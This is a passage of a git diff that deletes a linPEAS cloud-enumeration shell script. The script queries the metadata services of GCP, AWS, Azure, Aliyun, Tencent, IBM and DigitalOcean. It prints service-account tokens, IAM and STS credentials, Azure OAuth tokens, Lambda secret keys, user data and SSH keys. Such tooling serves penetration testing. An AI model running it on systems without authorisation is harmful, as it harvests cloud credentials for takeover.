-f "/codebuild/output/tmp/env.sh" ] && grep -q "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" "/codebuild/output/tmp/env.sh" ; then - is_aws_codebuild="Yes" - fi -} - -check_az_vm(){ - is_az_vm="No" - - if [ -d "/var/log/azure/" ]; then - is_az_vm="Yes" - - elif cat /etc/resolv.conf 2>/dev/null | grep -q "search reddog.microsoft.com"; then - is_az_vm="Yes" - fi -} - -check_az_app(){ - is_az_app="No" - - if [ -d "/opt/microsoft" ] && env | grep -q "IDENTITY_ENDPOINT"; then - is_az_app="Yes" - fi -} - - -check_gcp -print_list "GCP Virtual Machine? ................. $is_gcp_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -print_list "GCP Cloud Funtion? ................... $is_gcp_function\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -check_aws_ecs -print_list "AWS ECS? ............................. $is_aws_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -check_aws_ec2 -print_list "AWS EC2? ............................. $is_aws_ec2\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -print_list "AWS EC2 Beanstalk? ................... $is_aws_ec2_beanstalk\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -check_aws_lambda -print_list "AWS Lambda? .......................... $is_aws_lambda\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -check_aws_codebuild -print_list "AWS Codebuild? ....................... $is_aws_codebuild\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -check_do -print_list "DO Droplet? .......................... $is_do\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -check_aliyun_ecs -print_list "Aliyun ECS? .......................... $is_aliyun_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -check_tencent_cvm -print_list "Tencent CVM? .......................... $is_tencent_cvm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -check_ibm_vm -print_list "IBM Cloud VM? ........................ $is_ibm_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -check_az_vm -print_list "Azure VM? ............................ $is_az_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -check_az_app -print_list "Azure APP? ........................... $is_az_app\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," - -echo "" - -if [ "$is_tencent_cvm" = "Yes" ]; then - tencent_req="" - if [ "$(command -v curl)" ]; then - tencent_req='curl -sfkG' - elif [ "$(command -v wget)" ]; then - tencent_req='wget -q -O ' - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - fi - - - print_2title "Tencent CVM Enumeration" - print_info "https://cloud.tencent.com/document/product/213/4934" - # Todo: print_info "Hacktricks Documents needs to be updated" - - echo "" - print_3title "Instance Info" - i_tencent_owner_account=$(eval $tencent_req http://169.254.0.23/latest/meta-data/app-id) - [ "$i_tencent_owner_account" ] && echo "Tencent Owner Account: $i_tencent_owner_account" - i_hostname=$(eval $tencent_req http://169.254.0.23/latest/meta-data/hostname) - [ "$i_hostname" ] && echo "Hostname: $i_hostname" - i_instance_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/instance-id) - [ "$i_instance_id" ] && echo "Instance ID: $i_instance_id" - i_instance_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/uuid) - [ "$i_instance_id" ] && echo "Instance ID: $i_instance_id" - i_instance_name=$(eval $tencent_req http://169.254.0.23/latest/meta-data/instance-name) - [ "$i_instance_name" ] && echo "Instance Name: $i_instance_name" - i_instance_type=$(eval $tencent_req http://169.254.0.23/latest/meta-data/instance/instance-type) - [ "$i_instance_type" ] && echo "Instance Type: $i_instance_type" - i_region_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/placement/region) - [ "$i_region_id" ] && echo "Region ID: $i_region_id" - i_zone_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/placement/zone) - [ "$i_zone_id" ] && echo "Zone ID: $i_zone_id" - - echo "" - print_3title "Network Info" - i_pri_ipv4=$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/primary-local-ipv4) - [ "$i_pri_ipv4" ] && echo "Primary IPv4: $i_pri_ipv4" - - - echo "========" - for mac in $(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/); do - echo " Mac: $mac" - echo " Mac public ips: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/public-ipv4s) - echo " Mac vpc id: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/vpc-id) - echo " Mac subnet id: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/subnet-id) - - for lipv4 in $(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s); do - echo " Mac local ips: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s/$lipv4/local-ipv4) - echo " Mac gateways: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s/$lipv4/gateway) - echo " Mac public ips: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s/$lipv4/public-ipv4) - echo " Mac public ips mode: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s/$lipv4/public-ipv4-mode) - echo " Mac subnet mask: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s/$lipv4/subnet-mask) - done - echo "=======" - done - - echo "" - print_3title "Service account " - for sa in $(eval $tencent_req "http://169.254.0.23/latest/meta-data/cam/security-credentials/"); do - echo " Name: $sa" - echo " STS Token: "$(eval $tencent_req "http://169.254.0.23/latest/meta-data/cam/security-credentials/$sa") - echo " ==============" - done - - echo "" - print_3title "Possbile admin ssh Public keys" - for key in $(eval $tencent_req "http://169.254.0.23/latest/meta-data/public-keys/"); do - echo " Name: $key" - echo " Key: "$(eval $tencent_req "http://169.254.0.23/latest/meta-data/public-keys/${key}openssh-key") - echo " ==============" - done -fi - -if [ "$is_aliyun_ecs" = "Yes" ]; then - aliyun_req="" - aliyun_token="" - if [ "$(command -v curl)" ]; then - aliyun_token=$(curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds:1000") - aliyun_req='curl -s -f -H "X-aliyun-ecs-metadata-token: $aliyun_token"' - elif [ "$(command -v wget)" ]; then - aliyun_token=$(wget -q -O - --method PUT "http://100.100.100.200/latest/api/token" --header "X-aliyun-ecs-metadata-token-ttl-seconds:1000") - aliyun_req='wget -q -O --header "X-aliyun-ecs-metadata-token: $aliyun_token"' - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - fi - - if [ "$aliyun_token" ]; then - print_2title "Aliyun ECS Enumeration" - print_info "https://help.aliyun.com/zh/ecs/user-guide/view-instance-metadata" - # Todo: print_info "Hacktricks Documents needs to be updated" - - echo "" - print_3title "Instance Info" - i_hostname=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/hostname) - [ "$i_hostname" ] && echo "Hostname: $i_hostname" - i_instance_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance-id) - [ "$i_instance_id" ] && echo "Instance ID: $i_instance_id" - # no dup of hostname if in ACK it possibly leaks aliyun cluster service ClusterId - i_instance_name=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance/instance-name) - [ "$i_instance_name" ] && echo "Instance Name: $i_instance_name" - i_instance_type=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance/instance-type) - [ "$i_instance_type" ] && echo "Instance Type: $i_instance_type" - i_aliyun_owner_account=$(eval $aliyun_req http://i00.100.100.200/latest/meta-data/owner-account-id) - [ "$i_aliyun_owner_account" ] && echo "Aliyun Owner Account: $i_aliyun_owner_account" - i_region_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/region-id) - [ "$i_region_id" ] && echo "Region ID: $i_region_id" - i_zone_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/zone-id) - [ "$i_zone_id" ] && echo "Zone ID: $i_zone_id" - - echo "" - print_3title "Network Info" - i_pub_ipv4=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/public-ipv4) - [ "$i_pub_ipv4" ] && echo "Public IPv4: $i_pub_ipv4" - i_priv_ipv4=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/private-ipv4) - [ "$i_priv_ipv4" ] && echo "Private IPv4: $i_priv_ipv4" - net_dns=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/dns-conf/nameservers) - [ "$net_dns" ] && echo "DNS: $net_dns" - - echo "========" - for mac in $(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/); do - echo " Mac: $mac" - echo " Mac interface id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/network-interface-id) - echo " Mac netmask: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/netmask) - echo " Mac vpc id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-id) - echo " Mac vpc cidr: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-cidr-block) - echo " Mac vpc cidr (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-ipv6-cidr-blocks) - echo " Mac vswitch id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-id) - echo " Mac vswitch cidr: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-cidr-block) - echo " Mac vswitch cidr (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-ipv6-cidr-block) - echo " Mac private ips: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/private-ipv4s) - echo " Mac private ips (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/ipv6s) - echo " Mac gateway: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/gateway) - echo " Mac gateway (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/ipv6-gateway) - echo "=======" - done - - echo "" - print_3title "Service account " - for sa in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/ram/security-credentials/"); do - echo " Name: $sa" - echo " STS Token: "$(eval $aliyun_req "http://100.100.100.200/latest/meta-data/ram/security-credentials/$sa") - echo " ==============" - done - - echo "" - print_3title "Possbile admin ssh Public keys" - for key in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/public-keys/"); do - echo " Name: $key" - echo " Key: "$(eval $aliyun_req "http://100.100.100.200/latest/meta-data/public-keys/${key}openssh-key") - echo " ==============" - done - - - fi -fi - -if [ "$is_gcp_vm" = "Yes" ]; then - gcp_req="" - if [ "$(command -v curl)" ]; then - gcp_req='curl -s -f -H "Metadata-Flavor: Google"' - elif [ "$(command -v wget)" ]; then - gcp_req='wget -q -O - --header "Metadata-Flavor: Google"' - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - fi - - # GCP Enumeration - if [ "$gcp_req" ]; then - print_2title "Google Cloud Platform Enumeration" - print_info "https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security" - - ## GC Project Info - p_id=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/project-id') - [ "$p_id" ] && echo "Project-ID: $p_id" - p_num=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id') - [ "$p_num" ] && echo "Project Number: $p_num" - pssh_k=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys') - [ "$pssh_k" ] && echo "Project SSH-Keys: $pssh_k" - p_attrs=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true') - [ "$p_attrs" ] && echo "All Project Attributes: $p_attrs" - - # OSLogin Info - osl_u=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/users) - [ "$osl_u" ] && echo "OSLogin users: $osl_u" - osl_g=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/groups) - [ "$osl_g" ] && echo "OSLogin Groups: $osl_g" - osl_sk=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/security-keys) - [ "$osl_sk" ] && echo "OSLogin Security Keys: $osl_sk" - osl_au=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/authorize) - [ "$osl_au" ] && echo "OSLogin Authorize: $osl_au" - - # Instance Info - inst_d=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/description) - [ "$inst_d" ] && echo "Instance Description: " - inst_hostn=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/hostname) - [ "$inst_hostn" ] && echo "Hostname: $inst_hostn" - inst_id=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/id) - [ "$inst_id" ] && echo "Instance ID: $inst_id" - inst_img=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/image) - [ "$inst_img" ] && echo "Instance Image: $inst_img" - inst_mt=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/machine-type) - [ "$inst_mt" ] && echo "Machine Type: $inst_mt" - inst_n=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/name) - [ "$inst_n" ] && echo "Instance Name: $inst_n" - inst_tag=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/scheduling/tags) - [ "$inst_tag" ] && echo "Instance tags: $inst_tag" - inst_zone=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/zone) - [ "$inst_zone" ] && echo "Zone: $inst_zone" - - inst_k8s_loc=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-location") - [ "$inst_k8s_loc" ] && echo "K8s Cluster Location: $inst_k8s_loc" - inst_k8s_name=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-name") - [ "$inst_k8s_name" ] && echo "K8s Cluster name: $inst_k8s_name" - inst_k8s_osl_e=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/enable-oslogin") - [ "$inst_k8s_osl_e" ] && echo "K8s OSLoging enabled: $inst_k8s_osl_e" - inst_k8s_klab=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-labels") - [ "$inst_k8s_klab" ] && echo "K8s Kube-labels: $inst_k8s_klab" - inst_k8s_kubec=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kubeconfig") - [ "$inst_k8s_kubec" ] && echo "K8s Kubeconfig: $inst_k8s_kubec" - inst_k8s_kubenv=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env") - [ "$inst_k8s_kubenv" ] && echo "K8s Kube-env: $inst_k8s_kubenv" - - echo "" - print_3title "Interfaces" - for iface in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/"); do - echo " IP: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/ip") - echo " Subnetmask: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask") - echo " Gateway: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/gateway") - echo " DNS: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers") - echo " Network: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/network") - echo " ============== " - done - - echo "" - print_3title "User Data" - echo $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script") - echo "" - - echo "" - print_3title "Service Accounts" - for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do - echo " Name: $sa" - echo " Email: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/email") - echo " Aliases: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/aliases") - echo " Identity: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/identity") - echo " Scopes: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/scopes") | sed -${E} "s,${GCP_GOOD_SCOPES},${SED_GREEN},g" | sed -${E} "s,${GCP_BAD_SCOPES},${SED_RED},g" - echo " Token: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/token") - echo " ============== " - done - fi -fi - -# Check if the script is running in a GCP Cloud Function -if [ "$is_gcp_function" = "Yes" ]; then - gcp_req="" - if [ "$(command -v curl)" ]; then - gcp_req='curl -s -f -H "Metadata-Flavor: Google"' - elif [ "$(command -v wget)" ]; then - gcp_req='wget -q -O - --header "Metadata-Flavor: Google"' - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - fi - - # GCP Enumeration - if [ "$gcp_req" ]; then - print_2title "Google Cloud Platform Enumeration" - print_info "https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security" - - ## GC Project Info - p_id=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/project-id') - [ "$p_id" ] && echo "Project-ID: $p_id" - p_num=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id') - [ "$p_num" ] && echo "Project Number: $p_num" - - # Instance Info - inst_id=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/id) - [ "$inst_id" ] && echo "Instance ID: $inst_id" - mtls_info=$(eval $gcp_req http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration) - [ "$mtls_info" ] && echo "MTLS info: $mtls_info" - inst_zone=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/zone) - [ "$inst_zone" ] && echo "Zone: $inst_zone" - - echo "" - print_3title "Service Accounts" - for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do - echo " Name: $sa" - echo " Email: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}email") - echo " Aliases: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}aliases") - echo " Identity: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}identity") - echo " Scopes: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}scopes") | sed -${E} "s,${GCP_GOOD_SCOPES},${SED_GREEN},g" | sed -${E} "s,${GCP_BAD_SCOPES},${SED_RED},g" - echo " Token: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}token") - echo " ============== " - done - fi -fi - - -curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/405423052163-compute@developer.gserviceaccount.com/email" - -# AWS ECS Enumeration -if [ "$is_aws_ecs" = "Yes" ]; then - print_2title "AWS ECS Enumeration" - - aws_ecs_req="" - if [ "$(command -v curl)" ]; then - aws_ecs_req='curl -s -f' - elif [ "$(command -v wget)" ]; then - aws_ecs_req='wget -q -O -' - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - fi - - if [ "$aws_ecs_metadata_uri" ]; then - print_3title "Container Info" - exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri" - echo "" - - print_3title "Task Info" - exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri/task" - echo "" - else - echo "I couldn't find ECS_CONTAINER_METADATA_URI env var to get container info" - fi - - if [ "$aws_ecs_service_account_uri" ]; then - print_3title "IAM Role" - exec_with_jq eval $aws_ecs_req "$aws_ecs_service_account_uri" - echo "" - else - echo "I couldn't find AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var to get IAM role info (the task is running without a task role probably)" - fi -fi - -# AWS EC2 Enumeration -if [ "$is_aws_ec2" = "Yes" ]; then - print_2title "AWS EC2 Enumeration" - - HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN" - URL="http://169.254.169.254/latest/meta-data" - - aws_req="" - if [ "$(command -v curl)" ]; then - aws_req="curl -s -f -H '$HEADER'" - elif [ "$(command -v wget)" ]; then - aws_req="wget -q -O - -H '$HEADER'" - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - fi - - if [ "$aws_req" ]; then - printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo "" - printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo "" - printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo "" - printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo "" - printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo "" - printf "region: "; eval $aws_req "$URL/placement/region"; echo "" - - echo "" - print_3title "Account Info" - exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/info"; echo "" - - echo "" - print_3title "Network Info" - for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do - echo "Mac: $mac" - printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo "" - printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo "" - printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo "" - echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo "" - printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo "" - echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo "" - printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo "" - echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo "" - echo "" - done - - echo "" - print_3title "IAM Role" - exec_with_jq eval $aws_req "$URL/iam/info"; echo "" - for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do - echo "Role: $role" - exec_with_jq eval $aws_req "$URL/iam/security-credentials/$role"; echo "" - echo "" - done - - echo "" - print_3title "User Data" - eval $aws_req "http://169.254.169.254/latest/user-data"; echo "" - - echo "" - echo "EC2 Security Credentials" - exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo "" - - print_3title "SSM Runnig" - ps aux 2>/dev/null | grep "ssm-agent" | grep -v "grep" | sed "s,ssm-agent,${SED_RED}," - fi -fi - -# AWS Lambda Enumeration -if [ "$is_aws_lambda" = "Yes" ]; then - print_2title "AWS Lambda Enumeration" - printf "Function name: "; env | grep AWS_LAMBDA_FUNCTION_NAME - printf "Region: "; env | grep AWS_REGION - printf "Secret Access Key: "; env | grep AWS_SECRET_ACCESS_KEY - printf "Access Key ID: "; env | grep AWS_ACCESS_KEY_ID - printf "Session token: "; env | grep AWS_SESSION_TOKEN - printf "Security token: "; env | grep AWS_SECURITY_TOKEN - printf "Runtime API: "; env | grep AWS_LAMBDA_RUNTIME_API - printf "Event data: "; (curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next" 2>/dev/null || wget -q -O - "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next") -fi - -# AWS Codebuild Enumeration -if [ "$is_aws_codebuild" = "Yes" ]; then - print_2title "AWS Codebuild Enumeration" - - aws_req="" - if [ "$(command -v curl)" ]; then - aws_req="curl -s -f" - elif [ "$(command -v wget)" ]; then - aws_req="wget -q -O -" - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - echo "The addresses are in /codebuild/output/tmp/env.sh" - fi - - if [ "$aws_req" ]; then - print_3title "Credentials" - CREDS_PATH=$(cat /codebuild/output/tmp/env.sh | grep "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | cut -d "'" -f 2) - URL_CREDS="http://169.254.170.2$CREDS_PATH" # Already has a / at the begginig - exec_with_jq eval $aws_req "$URL_CREDS"; echo "" - - print_3title "Container Info" - METADATA_URL=$(cat /codebuild/output/tmp/env.sh | grep "ECS_CONTAINER_METADATA_URI" | cut -d "'" -f 2) - exec_with_jq eval $aws_req "$METADATA_URL"; echo "" - fi -fi - -# DO Droplet Enumeration -if [ "$is_do" = "Yes" ]; then - print_2title "DO Droplet Enumeration" - - do_req="" - if [ "$(command -v curl)" ]; then - do_req='curl -s -f ' - elif [ "$(command -v wget)" ]; then - do_req='wget -q -O - ' - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - fi - - if [ "$do_req" ]; then - URL="http://169.254.169.254/metadata" - printf "Id: "; eval $do_req "$URL/v1/id"; echo "" - printf "Region: "; eval $do_req "$URL/v1/region"; echo "" - printf "Public keys: "; eval $do_req "$URL/v1/public-keys"; echo "" - printf "User data: "; eval $do_req "$URL/v1/user-data"; echo "" - printf "Dns: "; eval $do_req "$URL/v1/dns/nameservers" | tr '\n' ','; echo "" - printf "Interfaces: "; eval $do_req "$URL/v1.json" | jq ".interfaces"; - printf "Floating_ip: "; eval $do_req "$URL/v1.json" | jq ".floating_ip"; - printf "Reserved_ip: "; eval $do_req "$URL/v1.json" | jq ".reserved_ip"; - printf "Tags: "; eval $do_req "$URL/v1.json" | jq ".tags"; - printf "Features: "; eval $do_req "$URL/v1.json" | jq ".features"; - fi -fi - -# IBM Cloud Enumeration -if [ "$is_ibm_vm" = "Yes" ]; then - print_2title "IBM Cloud Enumeration" - - if ! [ "$IBM_TOKEN" ]; then - echo "Couldn't get the metadata token:(" - - else - TOKEN_HEADER="Authorization: Bearer $IBM_TOKEN" - ACCEPT_HEADER="Accept: application/json" - URL="http://169.254.169.254/latest/meta-data" - - ibm_req="" - if [ "$(command -v curl)" ]; then - ibm_req="curl -s -f -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'" - elif [ "$(command -v wget)" ]; then - ibm_req="wget -q -O - -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'" - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - fi - - if [ "$ibm_req" ]; then - print_3title "Instance Details" - exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" - - print_3title "Keys and User data" - exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" - exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" - - print_3title "Placement Groups" - exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" - - print_3title "IAM credentials" - exec_with_jq eval $ibm_req -X POST "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" - fi - fi - -fi - -# Azure VM Enumeration -if [ "$is_az_vm" = "Yes" ]; then - print_2title "Azure VM Enumeration" - - HEADER="Metadata:true" - URL="http://169.254.169.254/metadata" - API_VERSION="2021-12-13" # https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions - - az_req="" - if [ "$(command -v curl)" ]; then - az_req="curl -s -f -H '$HEADER'" - elif [ "$(command -v wget)" ]; then - az_req="wget -q -O - -H '$HEADER'" - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - fi - - if [ "$az_req" ]; then - print_3title "Instance details" - exec_with_jq eval $az_req "$URL/instance?api-version=$API_VERSION" - - print_3title "Load Balancer details" - exec_with_jq eval $az_req "$URL/loadbalancer?api-version=$API_VERSION" - - print_3title "Management token" - exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://management.azure.com/" - - print_3title "Graph token" - exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://graph.microsoft.com/" - - print_3title "Vault token" - exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://vault.azure.net/" - - print_3title "Storage token" - exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://storage.azure.com/" - fi -fi - -if [ "$check_az_app" = "Yes" ]; then - print_2title "Azure App Service Enumeration" - echo "I haven't tested this one, if it doesn't work, please send a PR fixing and adding functionality :)" - - HEADER="secret:$IDENTITY_HEADER" - - az_req="" - if [ "$(command -v curl)" ]; then - az_req="curl -s -f -H '$HEADER'" - elif [ "$(command -v wget)" ]; then - az_req="wget -q -O - -H '$HEADER'" - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - fi - - if [ "$az_req" ]; then - print_3title "Management token" - exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://management.azure.com/" - - print_3title "Graph token" - exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://graph.microsoft.com/" - - print_3title "Vault token" - exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://vault.azure.net/" - - print_3title "Storage token" - exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://storage.azure.com/" - fi -fi diff --git a/linPEAS/builder/linpeas_parts/3_cloud/10_IBM_Cloud.sh 